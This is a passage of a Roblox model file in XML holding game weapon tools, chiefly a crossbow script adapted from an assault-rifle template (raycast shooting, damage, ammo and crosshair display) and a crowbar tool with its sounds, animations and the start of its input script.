&#9;&#9;A.Anchored = false
&#9;else
&#9;&#9;local C = A:GetChildren()
&#9;&#9;for i=1, #C do
&#9;&#9;Get(C[i])
&#9;&#9;end
&#9;end
end

function Finale()
&#9;Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4378">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Crossbow</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 75
-- How many times per second the gun can fire
local FireRate = 1 / 4
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 700
-- In radians the minimum accuracy penalty
local MinSpread = 0.002
-- In radian the maximum accuracy penalty
local MaxSpread = 0.02
-- Number of bullets in a clip
local ClipSize = 1
-- DefaultValue for spare ammo
local SpareAmmo = 20
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.04
-- Time it takes to reload weapon
local ReloadTime = 1.5
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(2.2, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;script.Parent.Effect.Transparency = 0
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;script.Parent.Effect.Transparency = 1
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4379">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.330000013</X>
					<Y>0</Y>
					<Z>-0.800000012</Z>
					<R00>0.00999951363</R00>
					<R01>-5.96046448e-008</R01>
					<R02>0.999949992</R02>
					<R10>0.999949992</R10>
					<R11>5.96046448e-008</R11>
					<R12>-0.00999951363</R12>
					<R20>-5.96046448e-008</R20>
					<R21>1</R21>
					<R22>5.96046448e-008</R22>
				</CoordinateFrame>
				<string name="Name">Crowbar</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126856756</url></Content>
				<string name="ToolTip">Crowbar</string>
			</Properties>
			<Item class="Part" referent="RBX4380">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>20.2600002</X>
						<Y>93.4800034</Y>
						<Z>28.6600018</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.800000012</X>
						<Y>0.200000033</Y>
						<Z>4.5999999</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX4381">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=21426303</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.699999988</X>
							<Y>0.699999988</Y>
							<Z>0.699999988</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4382">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4383">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4384">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4385">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4386">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4387">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4388">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4389">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4390">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4391">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4392">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4393">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4394">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4395">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4396">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4397">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4398">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4399">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4400">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4401">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4402">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4403">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX4404">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74813494</url></Content>
					<string name="Name">RightSlash</string>
				</Properties>
			</Item>
			<Item class="StringValue" referent="RBX4405">
				<Properties>
					<string name="Name">RunAnim</string>
					<string name="Value">OverHeadSwing</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4406">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74894663</url></Content>
					<string name="Name">LeftSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4407">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74897796</url></Content>
					<string name="Name">OverHeadSwing</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4408">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74901237</url></Content>
					<string name="Name">Taunt</string>
				</Properties>
			</Item>
			<Item class="BoolValue" referent="RBX4409">
				<Properties>
					<string name="Name">Taunting</string>
					<bool name="Value">false</bool>
				</Properties>
			</Item>
			<Item class="Camera" referent="RBX4410">
				<Properties>
					<Ref name="CameraSubject">null</Ref>
					<token name="CameraType">0</token>
					<CoordinateFrame name="CoordinateFrame">
						<X>3.00843692</X>
						<Y>2.04299498</Y>
						<Z>0.38796404</Z>
						<R00>-0.0349024534</R00>
						<R01>-0.16666688</R01>
						<R02>0.98539561</R02>
						<R10>-3.42726707e-007</R10>
						<R11>0.985996068</R11>
						<R12>0.166768461</R12>
						<R20>-0.999391019</R20>
						<R21>0.005820252</R21>
						<R22>-0.0344138145</R22>
					</CoordinateFrame>
					<float name="FieldOfView">70</float>
					<CoordinateFrame name="Focus">
						<X>-0.200000003</X>
						<Y>1.5</Y>
						<Z>0.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">ThumbnailCamera</string>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4411">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


local sp=script.Parent
local sword=sp.Handle


enabled=true
taunting=false

function onButton1Down(mouse)
&#9;if not enabled then
&#9;&#9;return
&#9;end
&#9;enabled=false
&#9;mouse.Icon=&quot;rbxasset://textures\\GunWaitCursor.png&quot;
&#9;wait(1.25)
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;enabled=true
end


function onEquippedLocal(mouse)
&#9;local currentlast=lastequipped
&#9;if mouse==nil then
&#9;&#9;print(&quot;Mouse not found&quot;)
&#9;&#9;return 
&#9;end
